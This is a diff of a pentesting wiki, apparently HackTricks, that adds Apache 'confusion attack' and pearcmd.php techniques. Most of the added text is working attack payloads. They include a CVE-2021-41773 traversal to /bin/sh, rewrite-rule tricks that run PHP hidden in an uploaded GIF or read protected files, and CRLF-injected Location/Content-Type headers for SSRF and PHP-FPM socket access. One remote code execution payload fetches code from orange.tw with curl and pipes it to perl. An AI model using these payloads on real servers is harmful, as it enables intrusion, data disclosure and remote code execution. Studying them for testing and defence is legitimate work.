diff --git a/network-services-pentesting/pentesting-web/apache.md b/network-services-pentesting/pentesting-web/apache.md index 508bd9a13..25062b308 100644 --- a/network-services-pentesting/pentesting-web/apache.md +++ b/network-services-pentesting/pentesting-web/apache.md @@ -1,8 +1,8 @@ - +# Apache {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,8 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} - -# Executable PHP extensions +## Executable PHP extensions Check which extensions is executing the Apache server. To search them you can execute: @@ -33,19 +32,267 @@ Also, some places where you can find this configuration is: /etc/apache2/mods-enabled/php7.3.conf ``` -# CVE-2021-41773 +## CVE-2021-41773 +{% code overflow="wrap" %} ```bash curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname' uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` +{% endcode %} +## Confusion Attack +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. + +### Filename Confusion + +#### Truncation + +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. + +* **Path Truncation** + +It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: + +```bash +RewriteEngine On +RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" + +# Expected +curl http://server/user/orange +# the output of file `/var/user/orange/profile.yml` + +# Attack +curl http://server/user/orange%2Fsecret.yml%3F +# the output of file `/var/user/orange/secret.yml` +``` + +* **Mislead RewriteFlag Assignment** + +In the following rewrite rule, as long as the URL ends in .php it's going to be treated and executed as php. Therefore, it's possible send a URL that ends in .php after the `?` char while loading in the path a different type of file (like an image) with malicious php code inside of it: + +```bash +RewriteEngine On +RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] + +# Attacker uploads a gif file with some php code +curl http://server/upload/1.gif +# GIF89a + +# Make the server execute the php code +curl http://server/upload/1.gif%3fooo.php +# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data) +``` + +#### **ACL Bypass** + +It's possible to access files the user shouldn't be able to access even if the access should be denied with configurations like: + +```xml + + AuthType Basic + AuthName "Admin Panel" + AuthUserFile "/etc/apache2/.htpasswd" + Require valid-user + +``` + +This is because by default PHP-FPM will receive URLs ending in `.php`, like `http://server/admin.php%3Fooo.php` and because PHP-FPM will remove anything after the character `?`, the previous URL will allow to load `/admin.php` even if the previous rule prohibited it. + +### DocumentRoot Confusion + +```bash +DocumentRoot /var/www/html +RewriteRule ^/html/(.*)$ /$1.html +``` + +A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system. + +#### **Server-Side Source Code Disclosure** + +* **Disclose CGI Source Code** + +Just adding a %3F at the end is enough to leak the source code of a cgi module: + +```bash +curl http://server/cgi-bin/download.cgi + # the processed result from download.cgi +curl http://server/html/usr/lib/cgi-bin/download.cgi%3F + # #!/usr/bin/perl + # use CGI; + # ... + # # the source code of download.cgi +``` + +* **Disclose PHP Source Code** + +If a server has different domains with one of them being a static domain, this can be abused to traverse the file system and leak php code: + +```bash +# Leak the config.php file of the www.local domain from the static.local domain +curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" + # the source code of config.php +``` + +#### **Local Gadgets Manipulation** + +The main problem with the previous attack is that by default most access over the filesystem will be denied as in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): + +```xml + + AllowOverride None + Require all denied + +``` + +However, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) operating systems by default allow `/usr/share`: + +```xml + + AllowOverride None + Require all granted + +``` + +Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.** + +**Local Gadget to Information Disclosure** + +* **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables. +* Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: + * **/usr/share/nginx/html/** + * **/usr/share/jetty9/etc/** + * **/usr/share/jetty9/webapps/** + +**Local Gadget to XSS** + +* On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**. + +**Local Gadget to LFI** + +* If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**: + * **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** + * **/usr/share/javascript/jquery-jfeed/proxy.php** + * **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** + +**Local Gadget to SSRF** + +* Utilizing **MagpieRSS's magpie\_debug.php** at **/usr/share/php/magpierss/scripts/magpie\_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits. + +**Local Gadget to RCE** + +* Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation. + +#### **Jailbreak from Local Gadgets** + +It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like: + +* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` +* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` +* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/` +* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` +* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` + +Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.** + +### Handler Confusion + +This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not. + +Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect. + +#### **Overwrite Handler to Disclose PHP Source Code** + +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\ +Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. + +#### **Overwrite Handler to XXXX** + +TODO: Orange hasn't disclose this vulnerability yet + +### **Invoke Arbitrary Handlers** + +If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed + +According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: + +> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. + +Therefore, to perform this attack is needed one of the following vulns: + +* CRLF Injection in the CGI response headers +* SSRF with complete control of the response headers + +#### **Arbitrary Handler to Information Disclosure** + +For example `/server-status` should only be accessible locally: + +```xml + + SetHandler server-status + Require local + +``` + +It's possible to access it setting the `Content-Type` to `server-status` and the Location header starting with `/` + +``` +http://server/cgi-bin/redir.cgi?r=http:// %0d%0a +Location:/ooo %0d%0a +Content-Type:server-status %0d%0a +%0d%0a +``` + +#### **Arbitrary Handler to Full SSRF** + +Redirecting to `mod_proxy` to access any protocol on any URL: + +``` +http://server/cgi-bin/redir.cgi?r=http://%0d%0a +Location:/ooo %0d%0a +Content-Type:proxy: +http://example.com/%3F + %0d%0a +%0d%0a +``` + +However, the `X-Forwarded-For` header is added preventing access to cloud metadata endpoints. + +#### **Arbitrary Handler to Access Local Unix Domain Socket** + +Access PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in `/tmp/`: + +``` +http://server/cgi-bin/redir.cgi?r=http://%0d%0a +Location:/ooo %0d%0a +Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a +%0d%0a +``` + +#### **Arbitrary Handler to RCE** + +The official [PHP Docker](https://hub.docker.com/\_/php) image includes PEAR (`Pearcmd.php`), a command-line PHP package management tool, which can be abused to obtain RCE: + +``` +http://server/cgi-bin/redir.cgi?r=http://%0d%0a +Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} +orange.tw/x|perl +) %2b alltests.php %0d%0a +Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a +%0d%0a +``` + +Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), written by [Phith0n](https://x.com/phithon\_xg) for the details of this technique. + +## References + +* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -57,5 +304,3 @@ Learn & practice GCP Hacking: {% endhint %} - - diff --git a/pentesting-web/file-inclusion/README.md b/pentesting-web/file-inclusion/README.md index 39cdbb58e..c8da7cc3e 100644 --- a/pentesting-web/file-inclusion/README.md +++ b/pentesting-web/file-inclusion/README.md @@ -1,8 +1,8 @@ # File Inclusion/Path traversal {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -681,6 +681,27 @@ If you found a **Local File Inclusion** and and the server is running in **Windo [lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md) {% endcontent-ref %} +### Via `pearcmd.php` + URL args + +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. + +The following request create a file in `/tmp/hello.php` with the content ``: + +{% code overflow="wrap" %} +```bash +GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 +``` +{% endcode %} + +The following abuses a CRLF vuln to get RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): + +``` +http://server/cgi-bin/redir.cgi?r=http:// %0d%0a +Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a +Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a +%0d%0a +``` + ### Via phpinfo() (file\_uploads = on) If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file\_uploads = on you can get RCE: @@ -737,8 +758,8 @@ Stay informed with the newest bug bounties launching and crucial platform update **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)